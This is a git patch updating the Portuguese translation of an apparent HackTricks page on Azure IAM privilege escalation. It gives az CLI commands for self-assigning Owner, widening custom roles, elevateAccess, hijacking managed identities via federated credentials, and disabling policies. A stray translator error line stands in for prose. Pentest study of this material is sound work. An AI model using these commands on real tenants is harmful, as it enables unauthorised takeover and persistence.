From dbe3a876529c8eaa546be801cb3c625e2d0c19e5 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 5 May 2026 13:19:48 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-authorization-privesc.md | 115 ++++++++++++++---- 1 file changed, 89 insertions(+), 26 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 309a87ccb..063c641c1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -1,27 +1,54 @@ -# Az - Azure IAM Privesc (Autorização) +# Az - Azure IAM Privesc (Authorization) {{#include ../../../banners/hacktricks-training.md}} ## Azure IAM -Para mais informações, consulte: +Para mais informações, verifique: {{#ref}} ../az-services/az-azuread.md {{#endref}} +Permissões que permitem que um principal **altere a própria authorization** geralmente são **privesc primitives**. Isso é especialmente perigoso quando são concedidas em escopos de **management group** ou **subscription**, porque as permissões são herdadas por recursos filhos. + ### Microsoft.Authorization/roleAssignments/write -Essa permissão permite atribuir roles a principals em um scope específico, permitindo que um attacker escale privilégios ao atribuir a si mesmo um role mais privilegiado: +Essa permissão permite criar role assignments em um escopo específico, permitindo que um atacante escale privilégios atribuindo a si mesmo ou a outro principal controlado uma role mais privilegiada. + +Fluxo típico: +```bash +# Login and confirm current context +az login +az account show + +# Enumerate current assignments and find the custom role granting this action +az role assignment list --all --output table +az role definition list --name "" +``` +Se o principal comprometido tiver esta ação sobre um escopo, ele pode conceder diretamente uma role privilegiada, como `Owner`, `Contributor`, `Key Vault Secrets Officer`, ou qualquer outra role built-in/custom disponível nesse escopo: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` -### Microsoft.Authorization/roleDefinitions/Write +Conhecer o **principal object ID** do target user/service principal/managed identity é suficiente para conceder a nova role. Isso pode ser abusado para **self-privesc**, **lateral movement**, ou **persistence** ao atribuir a role a um diferente controlled principal. -Esta permissão permite modificar as permissões concedidas a uma função, permitindo que um attacker escale privilégios ao conceder mais permissões a uma função que ele já tenha atribuído. +### Microsoft.Authorization/roleDefinitions/write -Crie o arquivo `role.json` com o seguinte **conteúdo**: +Esta permissão permite criar ou modificar custom role definitions. Na prática, isso é perigoso porque um atacante pode: + +- Modify uma custom role que já está assigned ao compromised principal, tornando as novas permissions efetivas imediatamente. +- Create uma nova over-privileged custom role e então atribuí-la, normalmente fazendo chaining com `Microsoft.Authorization/roleAssignments/write`. + +Typical flow: +```bash +# Find the current assignments +az role assignment list --all --output table + +# Review the role definition currently assigned to the compromised principal +az role definition list --name "" +``` +{"error":"Faltou o conteúdo que deve ser colocado em `role.json`."} ```json { "roleName": "", @@ -33,19 +60,22 @@ Crie o arquivo `role.json` com o seguinte **conteúdo**: "DataActions": ["*"], "NotDataActions": [], "AssignableScopes": ["/subscriptions/"], -"id": "/subscriptions//providers/Microsoft.Authorization/roleDefinitions/", +"id": "/subscriptions//providers/Microsoft.Authorization/roleDefinitions/" } ``` -Em seguida, atualize as permissões do role com a definição anterior chamando: +Então atualize as permissões da role com a definição anterior chamando: ```bash az role definition update --role-definition role.json ``` +Se a role modificada já estiver **atribuída** ao atacante, isso pode ser um caminho mais rápido do que criar uma nova role assignment, porque a permission inflation se aplica à assignment existente.\ +Se o atacante tiver apenas `roleDefinitions/write`, ele ainda pode weaponize it modificando roles já atribuídas a principals comprometidos. + ### Microsoft.Authorization/elevateAccess/action -Esta permissão permite elevar privilégios e atribuir permissões a qualquer principal sobre recursos do Azure. Destina-se a ser concedida a Entra ID Global Administrators para que também possam gerenciar permissões sobre recursos do Azure. +Este permissions permite elevar privilégios e conseguir assign permissions para qualquer principal em Azure resources. Ele foi feito para ser concedido a Entra ID Global Administrators para que eles também possam manage permissions sobre Azure resources. > [!TIP] -> Acho que o usuário precisa ser Global Administrator no Entra ID para que a chamada elevate funcione. +> Acho que o user precisa ser Global Administrator no Entrad ID para a elevate call funcionar. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -55,9 +85,29 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -Esta permissão permite adicionar credenciais federadas a identidades gerenciadas. Ex.: conceder acesso do Github Actions em um repositório a uma identidade gerenciada. Depois, ela permite **acessar qualquer identidade gerenciada definida pelo usuário**. +Esta permission permite criar/atualizar **Federated Identity Credentials (FICs)** em **user-assigned managed identities**. Na prática, isso permite que um attacker adicione uma nova trust relationship a um external identity provider e depois obtenha tokens como essa managed identity. -Exemplo de comando para conceder acesso a um repositório no Github a uma identidade gerenciada: +Este é um **persistence / identity hijacking primitive**: se a managed identity já tiver acesso a Azure resources, o attacker só precisa criar um external workload correspondente (por exemplo, um GitHub Actions workflow) e trocar o external token por Azure tokens. + +Pontos úteis para verificar antes de abusá-la: + +- Qual **managed identity** pode ser modificada +- Quais **scope/roles** já estão atribuídos a essa managed identity +- Quais **issuer**, **subject** e **audience** serão aceitos durante a token exchange + +Você pode criar o FIC com o dedicated CLI command: +```bash +az identity federated-credential create \ +--name "github-federated-identity" \ +--identity-name testMI \ +--resource-group bialystok-rg \ +--issuer "https://token.actions.githubusercontent.com" \ +--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \ +--audiences "api://AzureADTokenExchange" +``` +Ou com raw REST. + +Exemplo de comando para dar acesso a um repositório GitHub a uma managed identity: ```bash # Generic example: az rest --method PUT \ @@ -71,26 +121,32 @@ az rest --method PUT \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` +Uma vez que o FIC é criado, o attacker pode autenticar a partir da external workload e usar as managed identity permissions já concedidas no Azure. Para mais informações sobre abusing GitHub OIDC / workload identity, verifique: + +{{#ref}} +../az-basic-information/az-federation-abuse.md +{{#endref}} + ### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete -Um atacante com a permissão `Microsoft.Authorization/policyAssignments/write` ou `Microsoft.Authorization/policyAssignments/delete` sobre um grupo de gerenciamento, assinatura ou grupo de recursos pode **modificar ou excluir atribuições do Azure Policy**, potencialmente **desabilitando restrições de segurança** que bloqueiam operações específicas. +Um attacker com a permissão `Microsoft.Authorization/policyAssignments/write` ou `Microsoft.Authorization/policyAssignments/delete` sobre um management group, subscription, ou resource group pode **modify ou delete Azure policy assignments**, potencialmente **disabling security restrictions** que bloqueiam operações específicas. -Isso permite o acesso a recursos ou funcionalidades que anteriormente eram protegidos pela política. +Isso permite acesso a resources ou funcionalidades que estavam anteriormente protegidos pela policy. -**Excluir uma atribuição do Azure Policy:** +**Delete a policy assignment:** ```bash az policy assignment delete \ --name "" \ --scope "/providers/Microsoft.Management/managementGroups/" ``` -**Desabilitar uma atribuição de política:** +**Desabilitar uma policy assignment:** ```bash az policy assignment update \ --name "" \ --scope "/providers/Microsoft.Management/managementGroups/" \ --enforcement-mode Disabled ``` -**Verifique as alterações:** +**Verifique as mudanças:** ```bash # List policy assignments az policy assignment list \ @@ -103,17 +159,17 @@ az policy assignment show \ ``` ### Microsoft.Authorization/policyDefinitions/write -An attacker com a permissão `Microsoft.Authorization/policyDefinitions/write` pode **modificar definições de política do Azure**, alterando as regras que controlam as restrições de segurança em todo o ambiente. +Um atacante com a permissão `Microsoft.Authorization/policyDefinitions/write` pode **modificar Azure policy definitions**, alterando as regras que controlam restrições de segurança em todo o ambiente. -Por exemplo, uma política que limita as regiões permitidas para criação de recursos pode ser modificada para permitir qualquer região, ou o efeito da política pode ser alterado para torná-la ineficaz. +Por exemplo, uma policy que limita as regiões permitidas para criar resources pode ser modificada para permitir qualquer região, ou o efeito da policy pode ser alterado para torná-la ineficaz. -**Modificar uma definição de política:** +**Modificar uma policy definition:** ```bash az policy definition update \ --name "" \ --rules @updated-policy-rules.json ``` -**Verifique as alterações:** +**Verificar as mudanças:** ```bash az policy definition list --output table @@ -121,9 +177,9 @@ az policy definition show --name "" ``` ### Microsoft.Management/managementGroups/write -Um atacante com a permissão `Microsoft.Management/managementGroups/write` pode **modificar a estrutura hierárquica dos management groups** ou **criar novos management groups**, potencialmente evitando políticas restritivas aplicadas em níveis superiores. +Um atacante com a permissão `Microsoft.Management/managementGroups/write` pode **modificar a estrutura hierárquica dos management groups** ou **criar novos management groups**, potencialmente contornando policies restritivas aplicadas em níveis mais altos. -Por exemplo, um atacante pode criar um novo management group sem políticas restritivas e então mover assinaturas para ele. +Por exemplo, um atacante pode criar um novo management group sem policies restritivas e então mover subscriptions para ele. **Criar um novo management group:** ```bash @@ -131,13 +187,13 @@ az account management-group create \ --name "yourMGname" \ --display-name "yourMGDisplayName" ``` -**Modificar uma hierarquia de management group:** +**Modificar uma management group hierarchy:** ```bash az account management-group update \ --name "" \ --parent "/providers/Microsoft.Management/managementGroups/" ``` -**Verifique as alterações:** +**Verifique as mudanças:** ```bash az account management-group list --output table @@ -147,7 +203,7 @@ az account management-group show \ ``` ### Microsoft.Management/managementGroups/subscriptions/write -Um atacante com a permissão `Microsoft.Management/managementGroups/subscriptions/write` pode **mover subscriptions entre management groups**, potencialmente **evitar políticas restritivas** movendo uma subscription para um grupo com políticas menos restritivas ou sem políticas. +Um attacker com a permissão `Microsoft.Management/managementGroups/subscriptions/write` pode **mover subscriptions entre management groups**, potencialmente **evadindo políticas restritivas** ao mover uma subscription para um group com policies menos restritivas ou sem policies. **Mover uma subscription para um management group diferente:** ```bash @@ -161,4 +217,11 @@ az account management-group subscription show \ --name "" \ --subscription "" ``` +## References + +- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access) +- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest) +- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) +- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity) + {{#include ../../../banners/hacktricks-training.md}}